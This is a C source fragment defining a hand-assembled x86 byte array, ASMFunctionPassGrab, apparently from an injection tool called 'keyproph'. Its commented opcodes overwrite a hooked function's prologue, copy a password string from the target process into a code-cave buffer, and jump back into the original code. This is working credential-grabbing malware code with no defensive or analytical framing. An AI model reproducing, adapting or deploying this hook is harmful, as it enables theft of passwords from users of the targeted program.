#include "keyproph.h" unsigned char ASMFunctionPassGrab[SIZE_FUNCTION_PASS_GRAB]= { //code I overwrote 0x8b,0xec, //mov ebp,esp 0x81,0xec,0xa0,0x00,0x00,0x00, //sub esp,0x0a0 0x53, //push ebx //8 from 0 0x50, //push eax 0x51, //push ecx 0x56, //push esi 0xBA,0xb8,0x05,0x7e,0x00,//#1//addr //mov edx,CODECAVE+PASSWORD_STORE_OFF 0xc6,0x02,0x01, //mov byte ptr[edx],0x01 0x83,0xc2,0x02, //add edx,0x02 0xb8,0x00,0x00,0x00,0x00, //mov eax,0x00 //27 from 0 0x66,0x8b,0x0c,0x03, //mov cx,word ptr[ebx+eax] 0x52, //push edx 0x8a,0x54,0x03,0x02, //mov dl,byte ptr[ebx+eax+0x2] 0x80,0xfa,0x00, //cmp dl,0x00 0x5a, //pop edx //displacement +15 bytes 0x0f,0x84,0x0F,0x00,0x00,0x00,//#2 //je END_PASS_GRAB_OFF //46 from 0 0x66,0x89,0x0c,0x02, //mov word ptr[eax+edx],cx 0x83,0xc0,0x02, //add eax,0x02 0xbe,0x7c,0x02,0x7e,0x00,//#3//addr //mov esi,CODECAVE+PASSWORD_CODE_OFFSET+PASS_GRAB_REP 0xff,0xe6, //jmp esi //60 from 0 0x90, //No operation 0x66,0x89,0x0c,0x02, //mov word ptr[eax+edx],cx 0x83,0xc0,0x02, //add eax,0x02 0x88,0x42,0xff, //mov byte ptr[edx-0x01],al 0x5e, //pop esi 0x59, //pop ecx 0x58, //pop eax //74 from 0 0x8B,0xD3, //mov edx,ebx //76 from 0 0xbb,0x09,0x00,0x00,0x00,//#4//addr //mov ebx,INJECT_PASS+PASS_JBACK_OFF 0xff,0xe3 //jmp ebx //83 from 0 };